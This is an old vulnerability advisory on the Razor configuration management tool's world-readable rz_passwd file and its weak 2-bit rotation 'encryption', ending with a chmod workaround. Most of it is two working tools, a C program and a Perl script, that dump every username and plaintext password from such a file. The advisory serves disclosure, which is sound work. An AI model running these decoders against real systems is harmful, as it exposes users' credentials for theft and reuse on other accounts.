Vulnerability
Razor
Affected
Those using Razor configuration management tool
Description
Shawn A. Clifford found following. Razor is a configuration
management tool. There is a serious flaw with the Razor password
file, rz_passwd. The problem is two-fold:
1) The enciphering method used to scramble the password is
extremely weak, using only a simple bit rotation on each
byte. This was obvious after studying the rz_passwd file
format for less than 30 minutes.
2) The permissions on rz_passwd are world readable (a+r). If
we change the permissions to owner-only readable (mode 400)
Razor works fine. But, when a 'razor add_user ....',
'razor remove_user ...', or 'razor passwd' command is
issued, the permissions are changed back to world readable.
We then tried changing the permissions on the parent
directory to rwx------ (mode 700), but Razor was then
unable to restart the databases.
The Razor password file is found in a directory named
Razor_License on the machine acting as the license server.
The razor password file is composed of 51-byte records of three
fields of 17 bytes. The fields are: username, encoded password,
and group. The username and group fields are stored in ASCII
plaintext with NULL padding, and the encoded password is an
8-byte (maximum) field with NULL padding.
The enciphered password is created by rotating each byte in the
plaintext password right 2 bits. To decode the password, each
byte is just rotated left 2 bits.
Obviously this is an extremely weak and dangerous method for
securing the passwords. In fact, you can sit down with a pad,
pencil, and a hex dump of of the password file and decode entries
by hand. But to make matters worse, the password file is world
readable.
A repurcussion of this might be that an attacker recovers a user's
Razor password and then tries the password against other accounts
that the user may have. One would guess that many users have the
same password everywhere. This is a bad password policy, but
nearly impossible to detect or deter.
dumprazorpasswd.c:
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <ctype.h>
/************************************************************
dumprazorpasswd -
dumprazorpasswd
- prompts for input hex string to decode
dumprazorpasswd <razor_passwd_file>
- prints the users and passwords in <file>
dumprazorpasswd <passwd>
- encrypts <passwd> and prints it in hex
16-jun-2000 pbw.
************************************************************/
#define ASCII2BIN(c) ( isdigit(c) ? c - '0' : toupper(c) - '7' )
#define ROT8L(c,b) ( (c)=( ( (c<< (b%8) ) + (c>>(8-(b%8))&((1<<(b%8))-1)) )
& 0x00ff) )
#define ROT8R(c,b) ( (c)=( ( (c<< (8-(b%8)) ) + (
c>>(b%8)&((1<<(8-(b%8)))-1)) ) & 0x00ff) )
struct pwent
{
char uname[17];
char psswd[17];
char gname[17];
};
dumpfile (int fd)
{
int status, k;
struct pwent pwent;
while ( (status = read (fd, &pwent, 51)) > 0 )
{
if (status != 51)
{
printf ("fd = %d\n", fd);
printf ("partial read! only read %d bytes\n", status);
exit(0);
}
k = 0;
while (pwent.psswd[k] != '\0')
{
ROT8L(pwent.psswd[k], 10);
k++;
}
printf ("user %-17s %-17s\n", &(pwent.uname[0]), &(pwent.psswd[0]));
}
}
main (int argc, char *argv[])
{
int fd,i,k;
char passwd[18];
char dpasswd[9];
if (argc < 2)
{
printf("razor passwd to decrypt :");
fgets(passwd, 17, stdin);
passwd[strlen(passwd)-1] = 0;
k=0;
for (i=0 ; i<9 ; dpasswd[i++]=0);
for (i=(strlen(passwd)-1) ; i>=0 ; i--)
{
if (k & 1)
{
dpasswd[i/2] |= ((ASCII2BIN(passwd[i]) << 4) & 0xf0);
}
else
{
dpasswd[i/2] = ASCII2BIN(passwd[i]) & 0x0f;
}
k++;
}
for (i=0 ; i<strlen(dpasswd) ; i++)
ROT8L(dpasswd[i], 2);
printf("%s\n", dpasswd);
exit(0);
}
fd = open (argv[1], O_RDONLY);
if (fd < 0)
{ /* assume arg is a passwd to encrypt
*/
for ( i=0 ; i<strlen(argv[1]) ; i++)
printf("%02X", (unsigned char)ROT8R(argv[1][i], 2) );
printf("\n");
}
else
{ /* dump file */
dumpfile(fd);
}
exit(0);
}
passwd_rz.pl:
#!/usr/local/bin/perl
#
# Title: passwd_rz.pl
# Author: Shawn A. Clifford
# Date: 2000-June-15
# Purpose: Encrypt/decrypt Visible Systems Corp.' Razor passwords
# Usage: passwd_rz.pl [ hex_hash | password_file_name ]
#
# When run without arguments, this program will prompt for
# a plaintext password and produce the ciphertext that Razor
# would create for the same string.
# Eg.: ./passwd_rz.pl
#
# Enter a password, max 8 chars: WayLame
# Hash (in hex): D5585E13585B59
#
# When passed a hex-character string, the program will
# generate the corresponding plaintext password.
# Eg.: ./passwd_rz.pl D5585E13585B59
#
# Decrypting input hex string: D5585E13585B59
# Plaintext password: WayLame
#
# When passed a filename for a Razor password file (rz_passwd),
# the program will dump all of the entries in the password
# file. Each entry contains a username, password, and group.
# Eg.: ./passwd_rz.pl rz_passwd
#
# Decrypting Razor password file: rz_passwd
#
# Username Password Group
# -------- -------- -----
# luser123 lamerz please
# luser45 cant fix
# buckwheat code this
# .
# .
# .
# tester1 CCCCCCCC test
# tester2 AAAAAA test
#
# 233 password entries
#
use strict;
#
# Defines
#
my $arg; # Command line argument
my $PLEN = 8; # Maximum number of chars in a password
my $PGLEN = 22; # Output page length
my @hash; # Password hash (err, lame cipher)
my $passwd; # Plaintext password
my $byte; # A single byte/char
my $buffer; # Record from the password file
my $i; # Counter/index
my $user; # Username from password file
my $group; # Group name from password file
my $rec_fmt = 'A17 C17 A17'; # rz_passwd record format
my $rec_size = length(pack($rec_fmt, ())); # Size of a password file record
if ($#ARGV < 0) { # We want to encrypt a password
#
# Get a password
#
print "\nEnter a password, max 8 chars: ";
$passwd = <STDIN>;
chomp $passwd;
#
# Encrypt the password
#
print "Hash (in hex): ";
for ($i=0; $i < length($passwd) && $i < $PLEN; $i++) {
#
# For each byte in the password, rotate right 2 bits
#
$byte = unpack("C", substr($passwd,$i,1)) >> 2;
$byte += unpack("C", substr($passwd,$i,1)) << 6;
#
# Mask off the resultant low byte and save
#
$hash[$i] = $byte & 0x00ff;
printf "%X", $hash[$i];
}
print "\n\n";
} else { # We want to decrypt a rz_passwd file or hex string
$arg = shift;
if ( -f ${arg} ) { # It's a file to process
print "\nDecrypting Razor password file: $arg\n";
open(IN, "<${arg}") || die "Can't open passwd file: $!";
$i = 0;
while ( read(IN, $buffer, $rec_size) == $rec_size ) {
if ($i % $PGLEN == 0) {
print "\nUsername Password Group\n";
print "-------- -------- -----\n";
}
($user, @hash, $group) = unpack($rec_fmt, $buffer);
$group = substr($buffer, 34, 17); # unpack didn't give me this, why?
printf "%-17s %-15s %-17s\n", $user, decrypt(@hash), $group;
$i++;
}
printf "\n%d password entries\n\n", $i;
close(IN);
} else { # It had better be a string of hex digits!
print "\nDecrypting input hex string: $arg\n";
#
# Convert ASCII character string to a binary array
#
@hash = ();
for ($i=0; $i < (length($arg)/2) && $i < $PLEN; $i++) {
$byte = hex(substr($arg, $i*2, 2));
$hash[$i] = $byte;
}
#
# Call the decrypt function to print the plaintext password
#
printf "Plaintext password: %s\n\n", decrypt(@hash);
}
}
sub decrypt {
my @hash = @_; # Pick up the passed array
my $passwd = (); # Zero the output plaintext scalar
my $i;
my $byte;
#
# Decrypt the lamely enciphered password
#
for ($i=0; $i < $PLEN; $i++) {
#
# Convert NULLs to spaces
#
if ($hash[$i] == 0) {
$passwd = $passwd . " ";
next;
}
#
# For each byte in the hash, rotate left 2 bits
#
$byte = $hash[$i] << 2;
$byte += ($hash[$i] >> 6) & 0x03;
#
# Mask off the resultant low byte and save
#
$passwd = $passwd . chr($byte & 0x00ff);
}
return $passwd;
}
Solution
You may do a 'chmod 700 rz_passwd', but the permissions will
change if a 'razor xxx' command is used that touches the password
file.
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